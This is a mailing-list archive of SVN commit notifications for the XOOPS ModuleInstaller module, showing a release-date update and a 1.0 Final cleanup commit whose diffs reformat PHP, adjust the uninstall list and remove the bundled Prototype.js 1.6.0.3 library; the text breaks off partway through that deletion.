You can subscribe to this list here.
| 2012 |
Jan
|
Feb
(214) |
Mar
(139) |
Apr
(198) |
May
(187) |
Jun
(151) |
Jul
(210) |
Aug
(169) |
Sep
(58) |
Oct
(53) |
Nov
(54) |
Dec
(301) |
|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 2013 |
Jan
(348) |
Feb
(178) |
Mar
(219) |
Apr
(154) |
May
(117) |
Jun
(194) |
Jul
(61) |
Aug
(132) |
Sep
(121) |
Oct
(110) |
Nov
(11) |
Dec
(18) |
| 2014 |
Jan
(34) |
Feb
(50) |
Mar
(82) |
Apr
(98) |
May
(39) |
Jun
(111) |
Jul
(67) |
Aug
(36) |
Sep
(33) |
Oct
(26) |
Nov
(53) |
Dec
(44) |
| 2015 |
Jan
(29) |
Feb
(47) |
Mar
(25) |
Apr
(19) |
May
(23) |
Jun
(20) |
Jul
(49) |
Aug
(7) |
Sep
(10) |
Oct
(10) |
Nov
(4) |
Dec
(25) |
| 2016 |
Jan
(8) |
Feb
(7) |
Mar
(1) |
Apr
|
May
(3) |
Jun
|
Jul
(1) |
Aug
(2) |
Sep
|
Oct
|
Nov
(7) |
Dec
(5) |
| 2017 |
Jan
(4) |
Feb
|
Mar
|
Apr
|
May
(15) |
Jun
|
Jul
(18) |
Aug
(24) |
Sep
|
Oct
(14) |
Nov
|
Dec
|
| 2018 |
Jan
|
Feb
(22) |
Mar
|
Apr
(11) |
May
(1) |
Jun
(17) |
Jul
(2) |
Aug
(2) |
Sep
|
Oct
(6) |
Nov
(5) |
Dec
|
| 2019 |
Jan
|
Feb
|
Mar
|
Apr
(1) |
May
|
Jun
|
Jul
|
Aug
|
Sep
|
Oct
|
Nov
|
Dec
(2) |
| 2025 |
Jan
|
Feb
|
Mar
|
Apr
|
May
|
Jun
|
Jul
|
Aug
(2) |
Sep
|
Oct
|
Nov
|
Dec
|
|
From: <be...@us...> - 2014-02-15 22:35:02
|
Revision: 12317
http://sourceforge.net/p/xoops/svn/12317
Author: beckmi
Date: 2014-02-15 22:34:58 +0000 (Sat, 15 Feb 2014)
Log Message:
-----------
Updating release date
Modified Paths:
--------------
XoopsModules/moduleinstaller/trunk/moduleinstaller/xoops_version.php
Modified: XoopsModules/moduleinstaller/trunk/moduleinstaller/xoops_version.php
===================================================================
--- XoopsModules/moduleinstaller/trunk/moduleinstaller/xoops_version.php 2014-02-15 22:28:32 UTC (rev 12316)
+++ XoopsModules/moduleinstaller/trunk/moduleinstaller/xoops_version.php 2014-02-15 22:34:58 UTC (rev 12317)
@@ -42,7 +42,7 @@
$modversion['icons32'] = '../../Frameworks/moduleclasses/icons/32';
//about
-$modversion['release_date'] = '2011/07/20';
+$modversion['release_date'] = '2014/02/15';
$modversion["module_website_url"] = "www.xoops.org/";
$modversion["module_website_name"] = "XOOPS";
$modversion["module_status"] = "Final";
|
|
From: <be...@us...> - 2014-02-15 22:28:37
|
Revision: 12316
http://sourceforge.net/p/xoops/svn/12316
Author: beckmi
Date: 2014-02-15 22:28:32 +0000 (Sat, 15 Feb 2014)
Log Message:
-----------
Updating to Version 1.0 Final
Modified Paths:
--------------
XoopsModules/moduleinstaller/trunk/moduleinstaller/admin/about.php
XoopsModules/moduleinstaller/trunk/moduleinstaller/admin/admin_footer.php
XoopsModules/moduleinstaller/trunk/moduleinstaller/admin/admin_header.php
XoopsModules/moduleinstaller/trunk/moduleinstaller/admin/index.php
XoopsModules/moduleinstaller/trunk/moduleinstaller/admin/install.php
XoopsModules/moduleinstaller/trunk/moduleinstaller/admin/menu.php
XoopsModules/moduleinstaller/trunk/moduleinstaller/admin/uninstall.php
XoopsModules/moduleinstaller/trunk/moduleinstaller/class/installwizard.php
XoopsModules/moduleinstaller/trunk/moduleinstaller/docs/changelog.txt
XoopsModules/moduleinstaller/trunk/moduleinstaller/docs/credits.txt
XoopsModules/moduleinstaller/trunk/moduleinstaller/include/common.inc.php
XoopsModules/moduleinstaller/trunk/moduleinstaller/include/config.php
XoopsModules/moduleinstaller/trunk/moduleinstaller/include/install_tpl.php
XoopsModules/moduleinstaller/trunk/moduleinstaller/include/page.php
XoopsModules/moduleinstaller/trunk/moduleinstaller/language/english/admin.php
XoopsModules/moduleinstaller/trunk/moduleinstaller/language/english/install.php
XoopsModules/moduleinstaller/trunk/moduleinstaller/xoops_version.php
Added Paths:
-----------
XoopsModules/moduleinstaller/trunk/moduleinstaller/js/prototype.js
Removed Paths:
-------------
XoopsModules/moduleinstaller/trunk/moduleinstaller/js/prototype-1.6.0.3.js
Modified: XoopsModules/moduleinstaller/trunk/moduleinstaller/admin/about.php
===================================================================
--- XoopsModules/moduleinstaller/trunk/moduleinstaller/admin/about.php 2014-02-15 07:35:30 UTC (rev 12315)
+++ XoopsModules/moduleinstaller/trunk/moduleinstaller/admin/about.php 2014-02-15 22:28:32 UTC (rev 12316)
@@ -25,4 +25,4 @@
echo $aboutAdmin->addNavigation('about.php');
echo $aboutAdmin->renderAbout('6KJ7RW5DR3VTJ', false);
-include 'admin_footer.php';
\ No newline at end of file
+include 'admin_footer.php';
Modified: XoopsModules/moduleinstaller/trunk/moduleinstaller/admin/admin_footer.php
===================================================================
--- XoopsModules/moduleinstaller/trunk/moduleinstaller/admin/admin_footer.php 2014-02-15 07:35:30 UTC (rev 12315)
+++ XoopsModules/moduleinstaller/trunk/moduleinstaller/admin/admin_footer.php 2014-02-15 22:28:32 UTC (rev 12316)
@@ -24,4 +24,4 @@
." " . _AM_MODULEADMIN_ADMIN_FOOTER . "\n"
."</div>";
-xoops_cp_footer();;
\ No newline at end of file
+xoops_cp_footer();;
Modified: XoopsModules/moduleinstaller/trunk/moduleinstaller/admin/admin_header.php
===================================================================
--- XoopsModules/moduleinstaller/trunk/moduleinstaller/admin/admin_header.php 2014-02-15 07:35:30 UTC (rev 12315)
+++ XoopsModules/moduleinstaller/trunk/moduleinstaller/admin/admin_header.php 2014-02-15 22:28:32 UTC (rev 12316)
@@ -34,8 +34,8 @@
$pathIcon32 = '../'.$xoopsModule->getInfo('icons32');
$pathModuleAdmin = $xoopsModule->getInfo('dirmoduleadmin');
-if ( file_exists($GLOBALS['xoops']->path($pathModuleAdmin.'/moduleadmin.php'))){
+if ( file_exists($GLOBALS['xoops']->path($pathModuleAdmin.'/moduleadmin.php'))) {
include_once $GLOBALS['xoops']->path($pathModuleAdmin.'/moduleadmin.php');
- }else{
+ } else {
redirect_header("../../../admin.php", 5, _AM_MODULEADMIN_MISSING, false);
- }
\ No newline at end of file
+ }
Modified: XoopsModules/moduleinstaller/trunk/moduleinstaller/admin/index.php
===================================================================
--- XoopsModules/moduleinstaller/trunk/moduleinstaller/admin/index.php 2014-02-15 07:35:30 UTC (rev 12315)
+++ XoopsModules/moduleinstaller/trunk/moduleinstaller/admin/index.php 2014-02-15 22:28:32 UTC (rev 12316)
@@ -21,10 +21,9 @@
include 'admin_header.php';
xoops_cp_header();
- $indexAdmin = new ModuleAdmin();
+ $indexAdmin = new ModuleAdmin();
echo $indexAdmin->addNavigation('index.php');
echo $indexAdmin->renderIndex();
-include "admin_footer.php";
-?>
\ No newline at end of file
+include 'admin_footer.php';
Modified: XoopsModules/moduleinstaller/trunk/moduleinstaller/admin/install.php
===================================================================
--- XoopsModules/moduleinstaller/trunk/moduleinstaller/admin/install.php 2014-02-15 07:35:30 UTC (rev 12315)
+++ XoopsModules/moduleinstaller/trunk/moduleinstaller/admin/install.php 2014-02-15 22:28:32 UTC (rev 12316)
@@ -23,10 +23,10 @@
defined('XOOPS_INSTALL') or die('XOOPS Installation wizard die');
if (!@include_once "../../../language/{$wizard->language}/global.php") {
- include_once "../../../language/english/global.php";
+ include_once '../../../language/english/global.php';
}
if (!@include_once "../../system/language/{$wizard->language}/admin/modulesadmin.php") {
- include_once "../../system/language/english/admin/modulesadmin.php";
+ include_once '../../system/language/english/admin/modulesadmin.php';
}
require_once '../../../class/xoopsformloader.php';
require_once '../../../class/xoopslists.php';
@@ -115,7 +115,7 @@
$content .= "<tr id='" . $file . "'" . $style . ">\n";
$content .= " <td class='img' ><img src='" . XOOPS_URL . "/modules/" . $module->getInfo('dirname') . "/" . $module->getInfo('image') . "' alt='" . $module->getInfo('name') . "'/></td>\n";
$content .= " <td>";
- $content .= " " . $module->getInfo('name') . " " . number_format( round($module->getInfo('version'), 2), 2) . " (" . $module->getInfo('dirname') . ")";
+ $content .= " " . $module->getInfo('name') . " " . number_format( round($module->getInfo('version'), 2), 2) . " " . $module->getInfo('module_status') . " (folder: /" . $module->getInfo('dirname') . ")";
$content .= " <br />" . $module->getInfo('description');
$content .= " </td>\n";
$content .= " <td class='yesno'>";
@@ -136,4 +136,3 @@
include './../include/install_tpl.php';
include 'admin_footer.php';
-?>
\ No newline at end of file
Modified: XoopsModules/moduleinstaller/trunk/moduleinstaller/admin/menu.php
===================================================================
--- XoopsModules/moduleinstaller/trunk/moduleinstaller/admin/menu.php 2014-02-15 07:35:30 UTC (rev 12315)
+++ XoopsModules/moduleinstaller/trunk/moduleinstaller/admin/menu.php 2014-02-15 22:28:32 UTC (rev 12316)
@@ -15,16 +15,16 @@
$adminmenu[$i]["title"] = _MI_INSTALLER_MENU_00;
$adminmenu[$i]["link"] = 'admin/index.php';
$adminmenu[$i]["icon"] = $pathIcon32.'/home.png';
-$i++;
+++$i;
$adminmenu[$i]["title"] = _MI_INSTALLER_MENU_01;
// $adminmenu[$i]["link"] = 'admin/page_moduleinstaller.php';
$adminmenu[$i]["link"] = 'admin/install.php';
$adminmenu[$i]["icon"] = $pathIcon32.'/add.png';
-$i++;
+++$i;
$adminmenu[$i]["title"] = _MI_INSTALLER_MENU_02;
$adminmenu[$i]["link"] = 'admin/uninstall.php';
$adminmenu[$i]["icon"] = $pathIcon32.'/delete.png';
-$i++;
+++$i;
$adminmenu[$i]["title"] = _MI_INSTALLER_ADMIN_ABOUT;
$adminmenu[$i]["link"] = 'admin/about.php';
$adminmenu[$i]["icon"] = $pathIcon32.'/about.png';
Modified: XoopsModules/moduleinstaller/trunk/moduleinstaller/admin/uninstall.php
===================================================================
--- XoopsModules/moduleinstaller/trunk/moduleinstaller/admin/uninstall.php 2014-02-15 07:35:30 UTC (rev 12315)
+++ XoopsModules/moduleinstaller/trunk/moduleinstaller/admin/uninstall.php 2014-02-15 22:28:32 UTC (rev 12316)
@@ -23,10 +23,10 @@
defined('XOOPS_INSTALL') or die('XOOPS Installation wizard die');
if (!@include_once "../../../language/{$wizard->language}/global.php") {
- include_once "../../../language/english/global.php";
+ include_once '../../../language/english/global.php';
}
if (!@include_once "../../system/language/{$wizard->language}/admin/modulesadmin.php") {
- include_once "../../system/language/english/admin/modulesadmin.php";
+ include_once '../../system/language/english/admin/modulesadmin.php';
}
require_once '../../../class/xoopsformloader.php';
require_once '../../../class/xoopslists.php';
@@ -91,6 +91,8 @@
$javascript = "";
$content = "<ul class='log'><li>";
$content .= "<table class='module'>\n";
+ //remove System module and itself from the list of modules that can be uninstalled
+ $dirlist = array_diff($dirlist, array('system', 'moduleinstaller'));
foreach ($dirlist as $file) {
clearstatcache();
if (in_array($file, $listed_mods)) {
@@ -115,7 +117,7 @@
$content .= "<tr id='" . $file . "'" . $style . ">\n";
$content .= " <td class='img' ><img src='" . XOOPS_URL . "/modules/" . $module->getInfo('dirname') . "/" . $module->getInfo('image') . "' alt='" . $module->getInfo('name') . "'/></td>\n";
$content .= " <td>";
- $content .= " " . $module->getInfo('name') . " " . number_format( round($module->getInfo('version'), 2), 2) . " (" . $module->getInfo('dirname') . ")";
+ $content .= " " . $module->getInfo('name') . " " . number_format( round($module->getInfo('version'), 2), 2) . " " . $module->getInfo('module_status') . " (folder: /" . $module->getInfo('dirname') . ")";
$content .= " <br />" . $module->getInfo('description');
$content .= " </td>\n";
$content .= " <td class='yesno'>";
@@ -136,4 +138,3 @@
include './../include/install_tpl.php';
include 'admin_footer.php';
-?>
\ No newline at end of file
Modified: XoopsModules/moduleinstaller/trunk/moduleinstaller/class/installwizard.php
===================================================================
--- XoopsModules/moduleinstaller/trunk/moduleinstaller/class/installwizard.php 2014-02-15 07:35:30 UTC (rev 12315)
+++ XoopsModules/moduleinstaller/trunk/moduleinstaller/class/installwizard.php 2014-02-15 22:28:32 UTC (rev 12316)
@@ -86,6 +86,7 @@
// Prevent client caching
header("Cache-Control: no-store, no-cache, must-revalidate", false);
header("Pragma: no-cache");
+
return true;
}
@@ -96,16 +97,19 @@
header('WWW-Authenticate: Basic realm="XOOPS Installer"');
header('HTTP/1.0 401 Unauthorized');
echo 'You can not access this XOOPS installer.';
+
return false;
}
- if(INSTALL_USER != '' && $_SERVER['PHP_AUTH_USER'] != INSTALL_USER) {
+ if (INSTALL_USER != '' && $_SERVER['PHP_AUTH_USER'] != INSTALL_USER) {
header('HTTP/1.0 401 Unauthorized');
echo 'You can not access this XOOPS installer.';
+
return false;
}
- if(INSTALL_PASSWORD != $_SERVER['PHP_AUTH_PW']){
+ if (INSTALL_PASSWORD != $_SERVER['PHP_AUTH_PW']) {
header('HTTP/1.0 401 Unauthorized');
echo 'You can not access this XOOPS installer.';
+
return false;
}
}
@@ -123,6 +127,7 @@
if (!$GLOBALS['xoopsUser']->isAdmin()) {
return false;
}
+
return true;
}
@@ -148,10 +153,10 @@
function setPage($page)
{
$pages = array_keys($this->pages);
- if ((int)$page && $page >= 0 && $page < count($pages)) {
+ if ((int) $page && $page >= 0 && $page < count($pages)) {
$this->pageIndex = $page;
$this->currentPage = $pages[$page];
- } else if (isset( $this->pages[$page])) {
+ } elseif (isset( $this->pages[$page])) {
$this->currentPage = $page;
$this->pageIndex = array_search($this->currentPage, $pages);
} else {
@@ -170,6 +175,7 @@
$proto = ( @$_SERVER['HTTPS'] == 'on') ? 'https' : 'http';
$host = $_SERVER['HTTP_HOST'];
$base = substr( $_SERVER['PHP_SELF'], 0, strrpos($_SERVER['PHP_SELF'], '/'));
+
return $proto . '://' . $host . $base;
}
@@ -177,13 +183,13 @@
{
$pages = array_keys($this->pages);
$pageIndex = $this->pageIndex;
- if (!(int)$page{0}) {
+ if (!(int) $page{0}) {
if ($page{0} == '+') {
$pageIndex += substr($page, 1);
- } else if ($page{0} == '-') {
+ } elseif ($page{0} == '-') {
$pageIndex -= substr($page, 1);
} else {
- $pageIndex = (int)array_search($page, $pages);
+ $pageIndex = (int) array_search($page, $pages);
}
}
if (!isset($pages[$pageIndex])) {
@@ -194,6 +200,7 @@
}
}
$page = $pages[$pageIndex];
+
return $this->baseLocation() . "/page_{$page}.php";
}
@@ -234,8 +241,8 @@
}
$ret .= "</fieldset>\n" . $hidden. "\n" . $form->renderValidationJS(true);
}
+
return $ret;
}
}
-?>
\ No newline at end of file
Modified: XoopsModules/moduleinstaller/trunk/moduleinstaller/docs/changelog.txt
===================================================================
--- XoopsModules/moduleinstaller/trunk/moduleinstaller/docs/changelog.txt 2014-02-15 07:35:30 UTC (rev 12315)
+++ XoopsModules/moduleinstaller/trunk/moduleinstaller/docs/changelog.txt 2014-02-15 22:28:32 UTC (rev 12316)
@@ -1,3 +1,10 @@
+1.00 Final [2014/02/15]
+=================================
+- fixed highlight of selected modules (mamba)
+- removed System and ModuleInstaller from the list of modules that can be uninstalled (mamba)
+- updated to prototype.js 1.71
+
+
1.00 Beta [2011/07/22] (Mamba)
=================================
First beta release
Modified: XoopsModules/moduleinstaller/trunk/moduleinstaller/docs/credits.txt
===================================================================
--- XoopsModules/moduleinstaller/trunk/moduleinstaller/docs/credits.txt 2014-02-15 07:35:30 UTC (rev 12315)
+++ XoopsModules/moduleinstaller/trunk/moduleinstaller/docs/credits.txt 2014-02-15 22:28:32 UTC (rev 12316)
@@ -1,7 +1,7 @@
Credits
===============
-ModuleInstaller put together by Michael Beck (Mamba)
+ModuleInstaller developed by Michael Beck (Mamba)
Based on code from the XOOPS Install script developed by: Haruki Setoyama, Kazumi Ono, Skalpa Keo, Taiwen Jiang, DuGris
Modified: XoopsModules/moduleinstaller/trunk/moduleinstaller/include/common.inc.php
===================================================================
--- XoopsModules/moduleinstaller/trunk/moduleinstaller/include/common.inc.php 2014-02-15 07:35:30 UTC (rev 12315)
+++ XoopsModules/moduleinstaller/trunk/moduleinstaller/include/common.inc.php 2014-02-15 22:28:32 UTC (rev 12316)
@@ -68,5 +68,3 @@
if (!@is_array($_SESSION['settings'])) {
$_SESSION['settings'] = array();
}
-
-?>
\ No newline at end of file
Modified: XoopsModules/moduleinstaller/trunk/moduleinstaller/include/config.php
===================================================================
--- XoopsModules/moduleinstaller/trunk/moduleinstaller/include/config.php 2014-02-15 07:35:30 UTC (rev 12315)
+++ XoopsModules/moduleinstaller/trunk/moduleinstaller/include/config.php 2014-02-15 22:28:32 UTC (rev 12316)
@@ -69,4 +69,3 @@
),
'configs' => null
);
-?>
\ No newline at end of file
Modified: XoopsModules/moduleinstaller/trunk/moduleinstaller/include/install_tpl.php
===================================================================
--- XoopsModules/moduleinstaller/trunk/moduleinstaller/include/install_tpl.php 2014-02-15 07:35:30 UTC (rev 12315)
+++ XoopsModules/moduleinstaller/trunk/moduleinstaller/include/install_tpl.php 2014-02-15 22:28:32 UTC (rev 12316)
@@ -29,7 +29,7 @@
defined('XOOPS_INSTALL') or die('XOOPS Installation wizard die');
-include_once '../../../language/' . $wizard->language . '/global.php';
+include_once '../../../language/'. $wizard->language . '/global.php';
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="<?php echo _LANGCODE; ?>" lang="<?php echo _LANGCODE; ?>">
@@ -46,19 +46,18 @@
if (file_exists('language/' . $wizard->language . '/style.css')) {
echo '<link charset="UTF-8" rel="stylesheet" type="text/css" media="all" href="language/' . $wizard->language . '/style.css" />';
} else {
- $xoTheme->addStylesheet( XOOPS_URL . "/modules/" . $xoopsModule->getVar("dirname") . "/css/style.css" );
- }
+ $xoTheme->addStylesheet( XOOPS_URL . "/modules/" . $xoopsModule->getVar("dirname") . "/css/style.css" );
+ }
?>
-
- <script type="text/javascript" src="./js/prototype-1.6.0.3.js"></script>
- <script type="text/javascript" src="./js/xo-installer.js"></script>
+
+ <script type="text/javascript" src="./../js/prototype.js"></script>
+ <script type="text/javascript" src="./../js/xo-installer.js"></script>
</head>
<body>
<div id="xo-content">
-
<form id='<?php echo $wizard->pages[$wizard->currentPage]['name']; ?>' action='<?php echo $_SERVER['PHP_SELF']; ?>' method='post'>
<?php echo $content; ?>
@@ -76,4 +75,4 @@
</div>
</body>
-</html>
\ No newline at end of file
+</html>
Modified: XoopsModules/moduleinstaller/trunk/moduleinstaller/include/page.php
===================================================================
--- XoopsModules/moduleinstaller/trunk/moduleinstaller/include/page.php 2014-02-15 07:35:30 UTC (rev 12315)
+++ XoopsModules/moduleinstaller/trunk/moduleinstaller/include/page.php 2014-02-15 22:28:32 UTC (rev 12316)
@@ -67,5 +67,3 @@
'name' => WELCOME,
'title' => WELCOME_TITLE),
);
-
-?>
\ No newline at end of file
Deleted: XoopsModules/moduleinstaller/trunk/moduleinstaller/js/prototype-1.6.0.3.js
===================================================================
--- XoopsModules/moduleinstaller/trunk/moduleinstaller/js/prototype-1.6.0.3.js 2014-02-15 07:35:30 UTC (rev 12315)
+++ XoopsModules/moduleinstaller/trunk/moduleinstaller/js/prototype-1.6.0.3.js 2014-02-15 22:28:32 UTC (rev 12316)
@@ -1,4320 +0,0 @@
-/* Prototype JavaScript framework, version 1.6.0.3
- * (c) 2005-2008 Sam Stephenson
- *
- * Prototype is freely distributable under the terms of an MIT-style license.
- * For details, see the Prototype web site: http://www.prototypejs.org/
- *
- *--------------------------------------------------------------------------*/
-
-var Prototype = {
- Version: '1.6.0.3',
-
- Browser: {
- IE: !!(window.attachEvent &&
- navigator.userAgent.indexOf('Opera') === -1),
- Opera: navigator.userAgent.indexOf('Opera') > -1,
- WebKit: navigator.userAgent.indexOf('AppleWebKit/') > -1,
- Gecko: navigator.userAgent.indexOf('Gecko') > -1 &&
- navigator.userAgent.indexOf('KHTML') === -1,
- MobileSafari: !!navigator.userAgent.match(/Apple.*Mobile.*Safari/)
- },
-
- BrowserFeatures: {
- XPath: !!document.evaluate,
- SelectorsAPI: !!document.querySelector,
- ElementExtensions: !!window.HTMLElement,
- SpecificElementExtensions:
- document.createElement('div')['__proto__'] &&
- document.createElement('div')['__proto__'] !==
- document.createElement('form')['__proto__']
- },
-
- ScriptFragment: '<script[^>]*>([\\S\\s]*?)<\/script>',
- JSONFilter: /^\/\*-secure-([\s\S]*)\*\/\s*$/,
-
- emptyFunction: function() { },
- K: function(x) { return x }
-};
-
-if (Prototype.Browser.MobileSafari)
- Prototype.BrowserFeatures.SpecificElementExtensions = false;
-
-
-/* Based on Alex Arnell's inheritance implementation. */
-var Class = {
- create: function() {
- var parent = null, properties = $A(arguments);
- if (Object.isFunction(properties[0]))
- parent = properties.shift();
-
- function klass() {
- this.initialize.apply(this, arguments);
- }
-
- Object.extend(klass, Class.Methods);
- klass.superclass = parent;
- klass.subclasses = [];
-
- if (parent) {
- var subclass = function() { };
- subclass.prototype = parent.prototype;
- klass.prototype = new subclass;
- parent.subclasses.push(klass);
- }
-
- for (var i = 0; i < properties.length; i++)
- klass.addMethods(properties[i]);
-
- if (!klass.prototype.initialize)
- klass.prototype.initialize = Prototype.emptyFunction;
-
- klass.prototype.constructor = klass;
-
- return klass;
- }
-};
-
-Class.Methods = {
- addMethods: function(source) {
- var ancestor = this.superclass && this.superclass.prototype;
- var properties = Object.keys(source);
-
- if (!Object.keys({ toString: true }).length)
- properties.push("toString", "valueOf");
-
- for (var i = 0, length = properties.length; i < length; i++) {
- var property = properties[i], value = source[property];
- if (ancestor && Object.isFunction(value) &&
- value.argumentNames().first() == "$super") {
- var method = value;
- value = (function(m) {
- return function() { return ancestor[m].apply(this, arguments) };
- })(property).wrap(method);
-
- value.valueOf = method.valueOf.bind(method);
- value.toString = method.toString.bind(method);
- }
- this.prototype[property] = value;
- }
-
- return this;
- }
-};
-
-var Abstract = { };
-
-Object.extend = function(destination, source) {
- for (var property in source)
- destination[property] = source[property];
- return destination;
-};
-
-Object.extend(Object, {
- inspect: function(object) {
- try {
- if (Object.isUndefined(object)) return 'undefined';
- if (object === null) return 'null';
- return object.inspect ? object.inspect() : String(object);
- } catch (e) {
- if (e instanceof RangeError) return '...';
- throw e;
- }
- },
-
- toJSON: function(object) {
- var type = typeof object;
- switch (type) {
- case 'undefined':
- case 'function':
- case 'unknown': return;
- case 'boolean': return object.toString();
- }
-
- if (object === null) return 'null';
- if (object.toJSON) return object.toJSON();
- if (Object.isElement(object)) return;
-
- var results = [];
- for (var property in object) {
- var value = Object.toJSON(object[property]);
- if (!Object.isUndefined(value))
- results.push(property.toJSON() + ': ' + value);
- }
-
- return '{' + results.join(', ') + '}';
- },
-
- toQueryString: function(object) {
- return $H(object).toQueryString();
- },
-
- toHTML: function(object) {
- return object && object.toHTML ? object.toHTML() : String.interpret(object);
- },
-
- keys: function(object) {
- var keys = [];
- for (var property in object)
- keys.push(property);
- return keys;
- },
-
- values: function(object) {
- var values = [];
- for (var property in object)
- values.push(object[property]);
- return values;
- },
-
- clone: function(object) {
- return Object.extend({ }, object);
- },
-
- isElement: function(object) {
- return !!(object && object.nodeType == 1);
- },
-
- isArray: function(object) {
- return object != null && typeof object == "object" &&
- 'splice' in object && 'join' in object;
- },
-
- isHash: function(object) {
- return object instanceof Hash;
- },
-
- isFunction: function(object) {
- return typeof object == "function";
- },
-
- isString: function(object) {
- return typeof object == "string";
- },
-
- isNumber: function(object) {
- return typeof object == "number";
- },
-
- isUndefined: function(object) {
- return typeof object == "undefined";
- }
-});
-
-Object.extend(Function.prototype, {
- argumentNames: function() {
- var names = this.toString().match(/^[\s\(]*function[^(]*\(([^\)]*)\)/)[1]
- .replace(/\s+/g, '').split(',');
- return names.length == 1 && !names[0] ? [] : names;
- },
-
- bind: function() {
- if (arguments.length < 2 && Object.isUndefined(arguments[0])) return this;
- var __method = this, args = $A(arguments), object = args.shift();
- return function() {
- return __method.apply(object, args.concat($A(arguments)));
- }
- },
-
- bindAsEventListener: function() {
- var __method = this, args = $A(arguments), object = args.shift();
- return function(event) {
- return __method.apply(object, [event || window.event].concat(args));
- }
- },
-
- curry: function() {
- if (!arguments.length) return this;
- var __method = this, args = $A(arguments);
- return function() {
- return __method.apply(this, args.concat($A(arguments)));
- }
- },
-
- delay: function() {
- var __method = this, args = $A(arguments), timeout = args.shift() * 1000;
- return window.setTimeout(function() {
- return __method.apply(__method, args);
- }, timeout);
- },
-
- defer: function() {
- var args = [0.01].concat($A(arguments));
- return this.delay.apply(this, args);
- },
-
- wrap: function(wrapper) {
- var __method = this;
- return function() {
- return wrapper.apply(this, [__method.bind(this)].concat($A(arguments)));
- }
- },
-
- methodize: function() {
- if (this._methodized) return this._methodized;
- var __method = this;
- return this._methodized = function() {
- return __method.apply(null, [this].concat($A(arguments)));
- };
- }
-});
-
-Date.prototype.toJSON = function() {
- return '"' + this.getUTCFullYear() + '-' +
- (this.getUTCMonth() + 1).toPaddedString(2) + '-' +
- this.getUTCDate().toPaddedString(2) + 'T' +
- this.getUTCHours().toPaddedString(2) + ':' +
- this.getUTCMinutes().toPaddedString(2) + ':' +
- this.getUTCSeconds().toPaddedString(2) + 'Z"';
-};
-
-var Try = {
- these: function() {
- var returnValue;
-
- for (var i = 0, length = arguments.length; i < length; i++) {
- var lambda = arguments[i];
- try {
- returnValue = lambda();
- break;
- } catch (e) { }
- }
-
- return returnValue;
- }
-};
-
-RegExp.prototype.match = RegExp.prototype.test;
-
-RegExp.escape = function(str) {
- return String(str).replace(/([.*+?^=!:${}()|[\]\/\\])/g, '\\$1');
-};
-
-/*--------------------------------------------------------------------------*/
-
-var PeriodicalExecuter = Class.create({
- initialize: function(callback, frequency) {
- this.callback = callback;
- this.frequency = frequency;
- this.currentlyExecuting = false;
-
- this.registerCallback();
- },
-
- registerCallback: function() {
- this.timer = setInterval(this.onTimerEvent.bind(this), this.frequency * 1000);
- },
-
- execute: function() {
- this.callback(this);
- },
-
- stop: function() {
- if (!this.timer) return;
- clearInterval(this.timer);
- this.timer = null;
- },
-
- onTimerEvent: function() {
- if (!this.currentlyExecuting) {
- try {
- this.currentlyExecuting = true;
- this.execute();
- } finally {
- this.currentlyExecuting = false;
- }
- }
- }
-});
-Object.extend(String, {
- interpret: function(value) {
- return value == null ? '' : String(value);
- },
- specialChar: {
- '\b': '\\b',
- '\t': '\\t',
- '\n': '\\n',
- '\f': '\\f',
- '\r': '\\r',
- '\\': '\\\\'
- }
-});
-
-Object.extend(String.prototype, {
- gsub: function(pattern, replacement) {
- var result = '', source = this, match;
- replacement = arguments.callee.prepareReplacement(replacement);
-
- while (source.length > 0) {
- if (match = source.match(pattern)) {
- result += source.slice(0, match.index);
- result += String.interpret(replacement(match));
- source = source.slice(match.index + match[0].length);
- } else {
- result += source, source = '';
- }
- }
- return result;
- },
-
- sub: function(pattern, replacement, count) {
- replacement = this.gsub.prepareReplacement(replacement);
- count = Object.isUndefined(count) ? 1 : count;
-
- return this.gsub(pattern, function(match) {
- if (--count < 0) return match[0];
- return replacement(match);
- });
- },
-
- scan: function(pattern, iterator) {
- this.gsub(pattern, iterator);
- return String(this);
- },
-
- truncate: function(length, truncation) {
- length = length || 30;
- truncation = Object.isUndefined(truncation) ? '...' : truncation;
- return this.length > length ?
- this.slice(0, length - truncation.length) + truncation : String(this);
- },
-
- strip: function() {
- return this.replace(/^\s+/, '').replace(/\s+$/, '');
- },
-
- stripTags: function() {
- return this.replace(/<\/?[^>]+>/gi, '');
- },
-
- stripScripts: function() {
- return this.replace(new RegExp(Prototype.ScriptFragment, 'img'), '');
- },
-
- extractScripts: function() {
- var matchAll = new RegExp(Prototype.ScriptFragment, 'img');
- var matchOne = new RegExp(Prototype.ScriptFragment, 'im');
- return (this.match(matchAll) || []).map(function(scriptTag) {
- return (scriptTag.match(matchOne) || ['', ''])[1];
- });
- },
-
- evalScripts: function() {
- return this.extractScripts().map(function(script) { return eval(script) });
- },
-
- escapeHTML: function() {
- var self = arguments.callee;
- self.text.data = this;
- return self.div.innerHTML;
- },
-
- unescapeHTML: function() {
- var div = new Element('div');
- div.innerHTML = this.stripTags();
- return div.childNodes[0] ? (div.childNodes.length > 1 ?
- $A(div.childNodes).inject('', function(memo, node) { return memo+node.nodeValue }) :
- div.childNodes[0].nodeValue) : '';
- },
-
- toQueryParams: function(separator) {
- var match = this.strip().match(/([^?#]*)(#.*)?$/);
- if (!match) return { };
-
- return match[1].split(separator || '&').inject({ }, function(hash, pair) {
- if ((pair = pair.split('='))[0]) {
- var key = decodeURIComponent(pair.shift());
- var value = pair.length > 1 ? pair.join('=') : pair[0];
- if (value != undefined) value = decodeURIComponent(value);
-
- if (key in hash) {
- if (!Object.isArray(hash[key])) hash[key] = [hash[key]];
- hash[key].push(value);
- }
- else hash[key] = value;
- }
- return hash;
- });
- },
-
- toArray: function() {
- return this.split('');
- },
-
- succ: function() {
- return this.slice(0, this.length - 1) +
- String.fromCharCode(this.charCodeAt(this.length - 1) + 1);
- },
-
- times: function(count) {
- return count < 1 ? '' : new Array(count + 1).join(this);
- },
-
- camelize: function() {
- var parts = this.split('-'), len = parts.length;
- if (len == 1) return parts[0];
-
- var camelized = this.charAt(0) == '-'
- ? parts[0].charAt(0).toUpperCase() + parts[0].substring(1)
- : parts[0];
-
- for (var i = 1; i < len; i++)
- camelized += parts[i].charAt(0).toUpperCase() + parts[i].substring(1);
-
- return camelized;
- },
-
- capitalize: function() {
- return this.charAt(0).toUpperCase() + this.substring(1).toLowerCase();
- },
-
- underscore: function() {
